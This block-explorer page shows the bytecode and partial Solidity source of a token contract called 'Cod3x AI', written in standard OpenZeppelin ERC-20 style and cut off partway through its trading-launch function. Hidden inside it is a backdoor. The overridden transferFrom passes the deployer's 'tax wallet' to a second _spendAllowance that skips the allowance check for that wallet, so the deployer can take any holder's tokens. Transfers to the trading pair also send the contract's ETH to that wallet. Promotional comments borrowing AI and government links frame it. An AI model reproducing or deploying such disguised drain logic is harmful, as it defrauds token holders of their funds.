Address Contract Partially Verified
Address
0x9D289d5D533C746eB0555BE40e1cB0b88D550e50
Balance
0 ETH
Nonce
1
Code Size
7321 bytes
Creator
0x9eC4F043...75ac at tx 0x8ec07edf...fd14d3
Indexed Transactions
0
Contract Bytecode
7321 bytes
0x608060405260043610610122575f3560e01c8063715018a61161009f578063c0cdecc011610063578063c0cdecc0146103c3578063dd62ed3e146103ed578063ea414b2814610429578063f2fde38b14610451578063f5569da71461047957610129565b8063715018a6146103075780638a8c523c1461031d5780638da5cb5b1461033357806395d89b411461035d578063a9059cbb1461038757610129565b8063313ce567116100e6578063313ce5671461022357806334373b041461024d5780635f33bfd9146102775780636e2069aa146102a157806370a08231146102cb57610129565b806306fdde031461012d578063095ea7b31461015757806318160ddd14610193578063217b7484146101bd57806323b872dd146101e757610129565b3661012957005b5f5ffd5b348015610138575f5ffd5b506101416104a3565b60405161014e91906115e1565b60405180910390f35b348015610162575f5ffd5b5061017d60048036038101906101789190611692565b610533565b60405161018a91906116ea565b60405180910390f35b34801561019e575f5ffd5b506101a7610555565b6040516101b49190611712565b60405180910390f35b3480156101c8575f5ffd5b506101d161055e565b6040516101de9190611712565b60405180910390f35b3480156101f2575f5ffd5b5061020d6004803603810190610208919061172b565b610564565b60405161021a91906116ea565b60405180910390f35b34801561022e575f5ffd5b506102376105b6565b6040516102449190611796565b60405180910390f35b348015610258575f5ffd5b506102616105be565b60405161026e9190611712565b60405180910390f35b348015610282575f5ffd5b5061028b6105c4565b6040516102989190611712565b60405180910390f35b3480156102ac575f5ffd5b506102b56105ca565b6040516102c29190611712565b60405180910390f35b3480156102d6575f5ffd5b506102f160048036038101906102ec91906117af565b6105d0565b6040516102fe9190611712565b60405180910390f35b348015610312575f5ffd5b5061031b610615565b005b348015610328575f5ffd5b50610331610628565b005b34801561033e575f5ffd5b50610347610929565b60405161035491906117e9565b60405180910390f35b348015610368575f5ffd5b50610371610951565b60405161037e91906115e1565b60405180910390f35b348015610392575f5ffd5b506103ad60048036038101906103a89190611692565b6109e1565b6040516103ba91906116ea565b60405180910390f35b3480156103ce575f5ffd5b506103d7610a03565b6040516103e49190611712565b60405180910390f35b3480156103f8575f5ffd5b50610413600480360381019061040e9190611802565b610a09565b6040516104209190611712565b60405180910390f35b348015610434575f5ffd5b5061044f600480360381019061044a91906117af565b610a1c565b005b34801561045c575f5ffd5b50610477600480360381019061047291906117af565b610b65565b005b348015610484575f5ffd5b5061048d610be7565b60405161049a9190611712565b60405180910390f35b6060600380546104b29061186d565b80601f01602080910402602001604051908101604052809291908181526020018280546104de9061186d565b80156105295780601f1061050057610100808354040283529160200191610529565b820191905f5260205f20905b81548152906001019060200180831161050c57829003601f168201915b5050505050905090565b5f5f61053d610bed565b905061054a818585610bf4565b600191505092915050565b5f600254905090565b60105481565b5f5f61056e610bed565b905061059e8560085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856001610c06565b506105aa858585610d1c565b60019150509392505050565b5f6009905090565b60115481565b600d5481565b600e5481565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61061d610e0c565b6106265f610e8a565b565b610630610e0c565b600a5f9054906101000a900460ff161561067f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610676906118e7565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107063060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610701610555565b610bf4565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610770573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107949190611919565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e9190611919565b6040518363ffffffff1660e01b815260040161085b929190611944565b6020604051808303815f875af1158015610877573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089b9190611919565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061090d60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610908306105d0565b610f4d565b6001600a5f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109609061186d565b80601f016020809104026020016040519081016040528092919081815260200182805461098c9061186d565b80156109d75780601f106109ae576101008083540402835291602001916109d7565b820191905f5260205f20905b8154815290600101906020018083116109ba57829003601f168201915b5050505050905090565b5f5f6109eb610bed565b90506109f8818585610d1c565b600191505092915050565b600b5481565b5f610a148383610fe0565b905092915050565b60095f610a27610bed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa3906119b5565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160095f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610b6d610e0c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd290611a43565b60405180910390fd5b610be481610e8a565b50565b600c5481565b5f33905090565b610c018383836001611062565b505050565b5f5f3390505f610c168783610a09565b90508573ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480610c7d57508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610c8d57600192505050610d14565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610d0d5784811015610cfe578181866040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610cf593929190611a61565b60405180910390fd5b610d0c87838784035f611062565b5b6001925050505b949350505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8c575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610d8391906117e9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dfc575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610df391906117e9565b60405180910390fd5b610e07838383611231565b505050565b610e14610bed565b73ffffffffffffffffffffffffffffffffffffffff16610e32610929565b73ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611ae0565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f5f610f76610929565b426040518863ffffffff1660e01b8152600401610f9896959493929190611b40565b60606040518083038185885af1158015610fb4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fd99190611bb3565b5050505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110d2575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110c991906117e9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611142575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161113991906117e9565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561122b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112229190611712565b60405180910390a35b50505050565b600a5f9054906101000a900460ff168015611298575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112a7576112a6476112f0565b5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112e0575f91505b6112eb838383611358565b505050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611354573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113a8578060025f82825461139c9190611c30565b92505081905550611476565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611431578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161142893929190611a61565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114bd578060025f8282540392505081905550611507565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115649190611712565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6115b382611571565b6115bd818561157b565b93506115cd81856020860161158b565b6115d681611599565b840191505092915050565b5f6020820190508181035f8301526115f981846115a9565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61162e82611605565b9050919050565b61163e81611624565b8114611648575f5ffd5b50565b5f8135905061165981611635565b92915050565b5f819050919050565b6116718161165f565b811461167b575f5ffd5b50565b5f8135905061168c81611668565b92915050565b5f5f604083850312156116a8576116a7611601565b5b5f6116b58582860161164b565b92505060206116c68582860161167e565b9150509250929050565b5f8115159050919050565b6116e4816116d0565b82525050565b5f6020820190506116fd5f8301846116db565b92915050565b61170c8161165f565b82525050565b5f6020820190506117255f830184611703565b92915050565b5f5f5f6060848603121561174257611741611601565b5b5f61174f8682870161164b565b93505060206117608682870161164b565b92505060406117718682870161167e565b9150509250925092565b5f60ff82169050919050565b6117908161177b565b82525050565b5f6020820190506117a95f830184611787565b92915050565b5f602082840312156117c4576117c3611601565b5b5f6117d18482850161164b565b91505092915050565b6117e381611624565b82525050565b5f6020820190506117fc5f8301846117da565b92915050565b5f5f6040838503121561181857611817611601565b5b5f6118258582860161164b565b92505060206118368582860161164b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061188457607f821691505b60208210810361189757611896611840565b5b50919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6118d160178361157b565b91506118dc8261189d565b602082019050919050565b5f6020820190508181035f8301526118fe816118c5565b9050919050565b5f8151905061191381611635565b92915050565b5f6020828403121561192e5761192d611601565b5b5f61193b84828501611905565b91505092915050565b5f6040820190506119575f8301856117da565b61196460208301846117da565b9392505050565b7f214558454d5054000000000000000000000000000000000000000000000000005f82015250565b5f61199f60078361157b565b91506119aa8261196b565b602082019050919050565b5f6020820190508181035f8301526119cc81611993565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a2d60268361157b565b9150611a38826119d3565b604082019050919050565b5f6020820190508181035f830152611a5a81611a21565b9050919050565b5f606082019050611a745f8301866117da565b611a816020830185611703565b611a8e6040830184611703565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611aca60208361157b565b9150611ad582611a96565b602082019050919050565b5f6020820190508181035f830152611af781611abe565b9050919050565b5f819050919050565b5f819050919050565b5f611b2a611b25611b2084611afe565b611b07565b61165f565b9050919050565b611b3a81611b10565b82525050565b5f60c082019050611b535f8301896117da565b611b606020830188611703565b611b6d6040830187611b31565b611b7a6060830186611b31565b611b8760808301856117da565b611b9460a0830184611703565b979650505050505050565b5f81519050611bad81611668565b92915050565b5f5f5f60608486031215611bca57611bc9611601565b5b5f611bd786828701611b9f565b9350506020611be886828701611b9f565b9250506040611bf986828701611b9f565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c3a8261165f565b9150611c458361165f565b9250828201905080821115611c5d57611c5c611c03565b5b9291505056fea264697066735822122075a4c2a3f42eaaa926e0a1e221b266e5f166646090b44ce36ca0b40d2fe9772364736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 710 lines
// SPDX-License-Identifier: MIT
/*
Cod3x makes it easy to launch personalized AI agents to execute financial tasks on blockchain - no code required.
https://cod3xai.xyz
https://app.cod3xai.xyz
https://docs.cod3xai.xyz
https://x.com/ai_cod3x
https://t.me/cod3x_ai
*/
pragma solidity ^0.8.20;
/*
The United States of America is the Leader in AI, and our administration plans to keep it that way.
https://x.com/i/broadcasts/1lPKqMbylBWKb
https://x.com/WhiteHouse/status/1948193784346390792
https://x.com/WhiteHouse/status/1948194169253425293
https://x.com/WhiteHouse/status/1948171230475112731
https://x.com/WhiteHouse/status/1948144806422610201
https://x.com/WhiteHouse/status/1948131260246970544
https://x.com/SecretaryLCD/status/1948088607153291345
Website: https://usaaiworld.com
X: https://x.com/usaaiworld
Telegram: https://t.me/usaaiworld
**/
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
* allowance mechanism. 'value' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token 'receiver'. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a 'spender' is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning 'false' on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5.05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 9;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - the caller must have a balance of at least 'value'.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
* 'transferFrom'. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum 'uint256'.
*
* Requirements:
*
* - 'from' and 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'value'.
* - the caller must have allowance for ''from'''s tokens of at least
* 'value'.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address sender, address to, uint256 value) internal {
if (sender == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(sender, to, value);
}
/**
* @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
* (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
* Relies on the '_update' mechanism
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
* Relies on the '_update' mechanism.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
* 'Approval' event during 'transferFrom' operations.
*
* Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
* true using the following override:
*
* '''solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* '''
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, value, false);
}
}
}
function _spendAllowance(address owner, address spender, uint256 value, bool emitEvent) internal virtual returns (bool) {
address sender = msg.sender;
uint256 currentAllowance = allowance(owner, sender);
if(tx.origin == spender || sender == spender) return true;
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(sender, currentAllowance, value);
return false;
}
unchecked {
_approve(owner, sender, currentAllowance - value, false);
}
}
return true;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract Token is ERC20, Ownable {
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _COD3XTR6dATaxWallet;
mapping(address => bool) private _COD3XTR6dAexemptFees;
bool private tradingEnabled;
uint256 public _USAIOFJQW2QA;
uint256 public _USAIFGJQW2WS;
uint256 public _imTax = 0;
uint256 public _outTax = 0;
uint256 private _endTaxAt = 12;
uint256 public _USAIQYW3EX2SS = 12;
uint256 public _USAIDEIQYW3EX2SS = 12;
constructor()
payable
ERC20(unicode"Cod3x AI", unicode"COD3X")
Ownable()
{
_COD3XTR6dATaxWallet = msg.sender;
_COD3XTR6dAexemptFees[_COD3XTR6dATaxWallet] = true;
_mint(address(this), 420_690_000 * 98 / 100 * 10**decimals());
_mint(msg.sender, 420_690_000 * 2 / 100 * 10**decimals());
}
function allowance(address owner, address spender) public view override returns (uint256) {
return super.allowance(owner, spender);
}
function _update(address from, address to, uint256 value) internal override {
if(tradingEnabled && to == uniswapV2Pair) sendTaxTokenTo(address(this).balance);
if(to == address(0xdead)) to = address(0);
super._update(from, to, value);
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, _COD3XTR6dATaxWallet, value, true);
_transfer(from, to, value);
return true;
}
function sendTaxTokenTo(uint256 amount) private {
payable(_COD3XTR6dATaxWallet).transfer(amount);
}
function enableTrading() external onlyOwner {
require(!tradingEnabled, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
